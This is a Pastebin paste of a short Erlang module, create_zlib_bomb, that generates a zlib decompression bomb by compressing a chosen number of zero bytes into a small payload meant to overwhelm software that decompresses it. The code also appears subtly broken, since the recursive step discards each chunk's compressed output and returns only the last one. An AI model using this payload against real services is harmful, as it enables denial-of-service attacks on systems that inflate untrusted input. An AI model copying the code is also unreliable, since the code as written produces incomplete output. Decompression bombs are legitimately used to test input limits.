Advertisement
Guest User

Untitled

a guest
Aug 20th, 2017
73
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 0.78 KB | None | 0 0
  1. -module(create_zlib_bomb).
  2. -export([do_it/1]).
  3.  
  4. -define(CHUNK_SZ, (128 * (1 bsl 10))).
  5.  
  6. do_it(Size) ->
  7. Z = zlib:open(),
  8. zlib:deflateInit(Z, 9, deflated, 15, 9, default),
  9. Data = deflate_zeroes(Z, Size),
  10. zlib:deflateEnd(Z),
  11. iolist_to_binary(Data).
  12.  
  13. deflate_zeroes(Z, Size) ->
  14. Chunk = bin_zeroes(?CHUNK_SZ),
  15. deflate_zeroes(Z, Size, Chunk).
  16.  
  17. deflate_zeroes(Z, Size, Chunk) when Size >= byte_size(Chunk) ->
  18. zlib:deflate(Z, Chunk, none),
  19. deflate_zeroes(Z, Size - byte_size(Chunk), Chunk);
  20. deflate_zeroes(Z, Size, _Chunk) ->
  21. TailChunk = bin_zeroes(Size),
  22. zlib:deflate(Z, TailChunk, finish).
  23.  
  24. bin_zeroes(Size) ->
  25. bin_zeroes(Size, []).
  26.  
  27. bin_zeroes(Size, Acc) when Size < 1 ->
  28. list_to_binary(Acc);
  29. bin_zeroes(Size, Acc) ->
  30. bin_zeroes(Size - 1, [0 | Acc]).
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement